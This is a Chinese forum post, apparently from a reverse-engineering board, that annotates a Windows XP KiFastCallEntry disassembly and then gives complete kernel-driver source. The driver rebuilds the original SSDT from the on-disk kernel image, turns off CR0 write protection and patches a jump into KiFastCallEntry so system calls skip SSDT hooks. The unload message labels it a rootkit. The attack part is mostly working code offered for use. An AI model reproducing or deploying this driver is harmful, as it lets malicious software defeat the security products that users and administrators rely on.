前几天去当面膜拜了女王大牛,果然****,还让我等了一个来小时。。。
在xp中ntdll.dll的调用都是通过sysenter切换到内核的,sysenter调用了KiFastCallEntry,而KiFastCallEntry函数则是在ssdt表找到相应的
函数地址,然后call,所以只要伪造一张原始的ssdt表,并且欺骗过KiFastCallEntry函数,这样ssdt hook就无效了。。。
先看KiFastCallEntry函数:
代码:
nt!KiFastCallEntry: 80541790 b923000000 mov ecx,23h 80541795 6a30 push 30h 80541797 0fa1 pop fs 80541799 8ed9 mov ds,cx 8054179b 8ec1 mov es,cx 8054179d 648b0d40000000 mov ecx,dword ptr fs:[40h] 805417a4 8b6104 mov esp,dword ptr [ecx+4] 805417a7 6a23 push 23h 805417a9 52 push edx 805417aa 9c pushfd 805417ab 6a02 push 2 805417ad 83c208 add edx,8 805417b0 9d popfd 805417b1 804c240102 or byte ptr [esp+1],2 805417b6 6a1b push 1Bh 805417b8 ff350403dfff push dword ptr ds:[0FFDF0304h] 805417be 6a00 push 0 805417c0 55 push ebp 805417c1 53 push ebx 805417c2 56 push esi 805417c3 57 push edi //ebx=_KPCR.SelfPcr 805417c4 648b1d1c000000 mov ebx,dword ptr fs:[1Ch] 805417cb 6a3b push 3Bh //esi=_KPCR.PrcbData.CurrentThread 805417cd 8bb324010000 mov esi,dword ptr [ebx+124h] 805417d3 ff33 push dword ptr [ebx] 805417d5 c703ffffffff mov dword ptr [ebx],0FFFFFFFFh 805417db 8b6e18 mov ebp,dword ptr [esi+18h] 805417de 6a01 push 1 805417e0 83ec48 sub esp,48h 805417e3 81ed9c020000 sub ebp,29Ch 805417e9 c6864001000001 mov byte ptr [esi+140h],1 805417f0 3bec cmp ebp,esp 805417f2 758d jne nt!KiFastCallEntry2+0x49 (80541781) 805417f4 83652c00 and dword ptr [ebp+2Ch],0 805417f8 f6462cff test byte ptr [esi+2Ch],0FFh 805417fc 89ae34010000 mov dword ptr [esi+134h],ebp 80541802 0f8538feffff jne nt!Dr_FastCallDrSave (80541640) 80541808 8b5d60 mov ebx,dword ptr [ebp+60h] 8054180b 8b7d68 mov edi,dword ptr [ebp+68h] 8054180e 89550c mov dword ptr [ebp+0Ch],edx 80541811 c74508000ddbba mov dword ptr [ebp+8],0BADB0D00h 80541818 895d00 mov dword ptr [ebp],ebx 8054181b 897d04 mov dword ptr [ebp+4],edi 8054181e fb sti //eax为函数序号,但是在KeServiceDescriptorTableShadow时是函数序号+1000h, //所以在KeServiceDescriptorTableShadow经过下面运算ecx最终为10h,否则为0 8054181f 8bf8 mov edi,eax 80541821 c1ef08 shr edi,8 80541824 83e730 and edi,30h 80541827 8bcf mov ecx,edi //KTHREAD.ServiceTable gdi32.dll和user32.dll调用时, //ServiceTable为KeServiceDescriptorTableShadow, //ntdll.dll调用时ServiceTable为KeServiceDescriptorTable //在KeServiceDescriptorTableShadow时+10正好得到win32.sys调用 80541829 03bee0000000 add edi,dword ptr [esi+0E0h] 8054182f 8bd8 mov ebx,eax //保留三个字节,得到正真的序号 80541831 25ff0f0000 and eax,0FFFh //和ssdt或shadow ssdt总共项数比较,eax大则跳 80541836 3b4708 cmp eax,dword ptr [edi+8] 80541839 0f8333fdffff jae nt!KiBBTUnexpectedRange (80541572) //判断是shadow ssdt还是ssdt,不跳则是shadow ssdt,跳则是ssdt 8054183f 83f910 cmp ecx,10h 80541842 751b jne nt!KiFastCallEntry+0xcf (8054185f) 80541844 648b0d18000000 mov ecx,dword ptr fs:[18h] 8054184b 33db xor ebx,ebx 8054184d 0b99700f0000 or ebx,dword ptr [ecx+0F70h] 80541853 740a je nt!KiFastCallEntry+0xcf (8054185f) 80541855 52 push edx 80541856 50 push eax 80541857 ff1528c75580 call dword ptr [nt!KeGdiFlushUserBatch (8055c728)] 8054185d 58 pop eax 8054185e 5a pop edx 8054185f 64ff0538060000 inc dword ptr fs:[638h] 80541866 8bf2 mov esi,edx 80541868 8b5f0c mov ebx,dword ptr [edi+0Ch] 8054186b 33c9 xor ecx,ecx 8054186d 8a0c18 mov cl,byte ptr [eax+ebx] //edi=KeServiceDescriptorTable->ServiceTableBase //在这里patch 把edi指向构造的ssdt 80541870 8b3f mov edi,dword ptr [edi] //得到真实地址,edi为KiServiceTable,eax为函数序号 80541872 8b1c87 mov ebx,dword ptr [edi+eax*4] 80541875 2be1 sub esp,ecx 80541878 c1e902 shr ecx,2 8054187a 8bfc mov edi,esp 8054187c 3b3574f73ff4 cmp esi,dword ptr ds:[0F43FF774h] 80541882 0f83a8010000 jae nt!KiSystemCallExit2+0x9f (80541a30) //把参数复制到内核 80541888 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] //调用函数 8054188a ffd3 call ebx 8054188c 8be5 mov esp,ebp 8054188e 648b0d24010000 mov ecx,dword ptr fs:[124h] 80541895 8b553c mov edx,dword ptr [ebp+3Ch] 80541898 899134010000 mov dword ptr [ecx+134h],edx
这个就是main SDT或者是shadow sdt,在shadow sdt中要保留24位得到函数序号,之后根据main sdt或者shadow sdt
和函数序号得到函数地址,最后call这个函数。
所以可以在
代码:
80541868 8b5f0c mov ebx,dword ptr [edi+0Ch] 8054186b 33c9 xor ecx,ecx 8054186d 8a0c18 mov cl,byte ptr [eax+ebx] //edi=KeServiceDescriptorTable->ServiceTableBase //在这里patch 把edi指向构造的ssdt 80541870 8b3f mov edi,dword ptr [edi]
完整代码如下:
代码:
#include "kernelfun.h" #include <ntimage.h> #define SEC_IMAGE 0x01000000 typedef struct { WORD offset:12; WORD type:4; } IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY; DWORD *oldssdt; DWORD patchAddress; DWORD nowSsdt; PVOID lpRet; //得到系统内核模块基址 DWORD FoundSystemModule(BOOL bKernel,char *sysFileName) { DWORD dwNeededSize,rc; PMODULES pModules=(PMODULES)&pModules; PCHAR pKernelName; DWORD kernelBase; DWORD i; rc=ZwQuerySystemInformation(SystemModuleInformation,pModules,4,&dwNeededSize); if (rc==STATUS_INFO_LENGTH_MISMATCH) { pModules=(MODULES *)ExAllocatePool(PagedPool,dwNeededSize); rc=ZwQuerySystemInformation(SystemModuleInformation,pModules,dwNeededSize,NULL); if (!NT_SUCCESS(rc)) { DbgPrint("ZwQuerySystemInformation failed"); return 0; } } else { DbgPrint("ZwQuerySystemInformation failed"); return 0; } if(bKernel) { pKernelName=pModules->smi[0].ModuleNameOffset+pModules->smi[0].ImageName; strcpy(sysFileName,pKernelName); kernelBase=(DWORD)pModules->smi[0].Base; return kernelBase; } for (i=0;(pModules->dwNumberOfModules)>i;i++) { pKernelName=pModules->smi[i].ModuleNameOffset+pModules->smi[i].ImageName; if(_stricmp(pKernelName,sysFileName)==0) { kernelBase=(DWORD)pModules->smi[i].Base; return kernelBase; } } return 0; } //得到并保存原始的ssdt BOOL SaveOldSddt(PVOID hModule,DWORD dwKSDT,DWORD dwKernelBase) { PDWORD pService; DWORD dwKiServiceTable; IMAGE_DOS_HEADER *dosHeader; IMAGE_NT_HEADERS *ntHeader; PIMAGE_BASE_RELOCATION pbr; PIMAGE_FIXUP_ENTRY pfe; DWORD dwPointer; DWORD point; BOOL bFirstChunk=TRUE; DWORD i; dosHeader=(IMAGE_DOS_HEADER*)hModule; ntHeader=(IMAGE_NT_HEADERS*)((DWORD)hModule+dosHeader->e_lfanew); pbr=(PIMAGE_BASE_RELOCATION )(ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress+(DWORD)hModule); pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION)); while(bFirstChunk||pbr->VirtualAddress) { bFirstChunk=FALSE; for (i=0;((pbr->SizeOfBlock-8)/2)>i;i++) { if(pfe->type==IMAGE_REL_BASED_HIGHLOW) { dwPointer=pbr->VirtualAddress+pfe->offset; point=*(DWORD*)(dwPointer+(DWORD)hModule)-(DWORD)ntHeader->OptionalHeader.ImageBase; if(point==dwKSDT) { if(*(USHORT*)(dwPointer+(DWORD)hModule-2)==0x05c7) { dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointer+4)-ntHeader->OptionalHeader.ImageBase; i=0; for (pService=(PDWORD)((DWORD)hModule+dwKiServiceTable); *pService-ntHeader->OptionalHeader.ImageBase<ntHeader->OptionalHeader.ImageBase; pService++,i++) { oldssdt[i]=*pService-ntHeader->OptionalHeader.ImageBase+dwKernelBase; } } } } pfe++; } pbr=(PIMAGE_BASE_RELOCATION)((DWORD)pbr+pbr->SizeOfBlock); pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION)); } return TRUE; } //计算mov [rem],rem的[rem] DWORD GetFlag(PVOID lpBase) { IMAGE_DOS_HEADER *dosHeader; IMAGE_NT_HEADERS *ntHeader; IMAGE_EXPORT_DIRECTORY* exportTable; DWORD* pfunctionAddresses; DWORD* pfunctionNames; WORD* pfunctionOrdinals; DWORD functionOrdinal; DWORD Base, i, functionAddress; DWORD dwKSDT; char* functionName; dosHeader=(IMAGE_DOS_HEADER*)lpBase; ntHeader=(IMAGE_NT_HEADERS*)((DWORD)lpBase+dosHeader->e_lfanew); exportTable=(IMAGE_EXPORT_DIRECTORY*)((DWORD)lpBase+ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); pfunctionAddresses=(DWORD*)((DWORD)lpBase+exportTable->AddressOfFunctions); pfunctionNames=(DWORD*)((DWORD)lpBase+exportTable->AddressOfNames); pfunctionOrdinals=(WORD*)((DWORD)lpBase+exportTable->AddressOfNameOrdinals); Base=exportTable->Base; for(i=0;i<exportTable->NumberOfFunctions;i++) { functionName=(char*)((DWORD)lpBase+pfunctionNames[i]); functionOrdinal=pfunctionOrdinals[i]+Base-1; functionAddress = (DWORD)( (DWORD)lpBase + pfunctionAddresses[functionOrdinal]); if(_stricmp(functionName,"KeServiceDescriptorTable")==0) { dwKSDT=functionAddress-(DWORD)lpBase; return dwKSDT; } } return 0; } //映射文件进内存得到ssdt并保存起来 BOOL GetOldSsdt(PUNICODE_STRING kernelFileName,DWORD kernelBase) { NTSTATUS status; HANDLE hSection, hFile; DWORD dwKSDT; PVOID BaseAddress = NULL; SIZE_T size=0; IO_STATUS_BLOCK iosb; OBJECT_ATTRIBUTES oa = {sizeof oa, 0, kernelFileName, OBJ_CASE_INSENSITIVE}; status=ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); if(!NT_SUCCESS(status)) { DbgPrint("ZwOpenFile failed\n"); return FALSE; } oa.ObjectName = 0; status=ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,PAGE_EXECUTE, SEC_IMAGE, hFile); if(!NT_SUCCESS(status)) { DbgPrint("ZwCreateSection failed\n"); return FALSE; } status=ZwMapViewOfSection(hSection, NtCurrentProcess(), &BaseAddress, 0, 1000, 0, &size, (SECTION_INHERIT)1, MEM_TOP_DOWN, PAGE_READWRITE); if(!NT_SUCCESS(status)) { DbgPrint("ZwMapViewOfSection failed\n"); return FALSE; } ZwClose(hFile); dwKSDT=GetFlag(BaseAddress); if(dwKSDT==0) { DbgPrint("GetFlag failed\n"); return FALSE; } DbgPrint("dwKSDT:%x\n",dwKSDT); if(!SaveOldSddt(BaseAddress,dwKSDT,kernelBase)) { DbgPrint("GetOldSddt failed\n"); return FALSE; } ZwClose(hSection); return TRUE; } //构建新的Ssdt BOOL SetNewSsdt() { UNICODE_STRING kernelFileName; char systemFile[80]; DWORD kernelBase; int count; kernelBase=FoundSystemModule(TRUE,systemFile); if(kernelBase==0) { DbgPrint("get kernel base failed\n"); return FALSE; } if(_stricmp(systemFile,"ntkrnlpa.exe")==0) { RtlInitUnicodeString(&kernelFileName, L"\\Device\\HarddiskVolume1\\Windows\\System32\\ntkrnlpa.exe"); } else if(_stricmp(systemFile,"ntoskrnl.exe")==0) { RtlInitUnicodeString(&kernelFileName, L"\\Device\\HarddiskVolume1\\Windows\\System32\\ntoskrnl.exe"); } else { return FALSE; } count=KeServiceDescriptorTable->NumberOfServices; nowSsdt=(DWORD)KeServiceDescriptorTable->ServiceTableBase; oldssdt=(DWORD*)ExAllocatePool(NonPagedPool,count*4); if(oldssdt==NULL) { DbgPrint("allocate memory failed\n"); return FALSE; } KdPrint(("oldssdt:%X\n",oldssdt)); if(!GetOldSsdt(&kernelFileName,kernelBase)) { DbgPrint("save ssdt failed\n"); return FALSE; } return TRUE; } __declspec(naked)void UseOldSsdt() { _asm { pushfd ; pushad ; mov eax,nowSsdt; cmp eax,[edi]; jnz shadow;//判断是不是shadow ssdt popad; popfd; mov cl,byte ptr [eax+ebx]; mov edi,oldssdt; jmp [lpRet]; shadow: popad; popfd; mov cl,byte ptr [eax+ebx]; mov edi,dword ptr [edi]; jmp [lpRet]; } }; BOOL HookKiFastCallEntry(BOOL bHook) { BYTE jmpCode[5]={0xe9,0x00,0x00,0x00,0x00}; BYTE oldCode[5]={0x8a,0x0c,0x18,0x8b,0x3f}; BYTE *functionAddress; int i; if(bHook) { _asm { pushad; mov ecx, 0x176; rdmsr; mov functionAddress, eax; popad; } for(i=0;i<264;i++) { if(memcmp(&functionAddress[i],oldCode,5)==0) { patchAddress=(DWORD)&functionAddress[i]; KdPrint(("patch address:%X\n",patchAddress)); break; } } if(i==264) return FALSE; *(DWORD*)&jmpCode[1]=(DWORD)UseOldSsdt-(patchAddress+5); lpRet=(PVOID)(patchAddress+5); _asm { CLI ; MOV EAX, CR0 ; AND EAX, NOT 10000H ; MOV CR0, EAX; } memcpy((PVOID)patchAddress,jmpCode,5); _asm { MOV EAX, CR0; OR EAX, 10000H; MOV CR0, EAX ; STI; } } else { _asm { CLI ; MOV EAX, CR0 ; AND EAX, NOT 10000H ; MOV CR0, EAX; } memcpy((PVOID)patchAddress,oldCode,5); _asm { MOV EAX, CR0; OR EAX, 10000H; MOV CR0, EAX ; STI; } } return TRUE; } VOID OnUnload( IN PDRIVER_OBJECT DriverObject ) { HookKiFastCallEntry(FALSE); DbgPrint("ROOTKIT: OnUnload called\n"); } NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath ) { theDriverObject->DriverUnload = OnUnload; if(SetNewSsdt()) { HookKiFastCallEntry(TRUE); } return STATUS_SUCCESS; }
又度过了一个没有情人的情人节了。。。。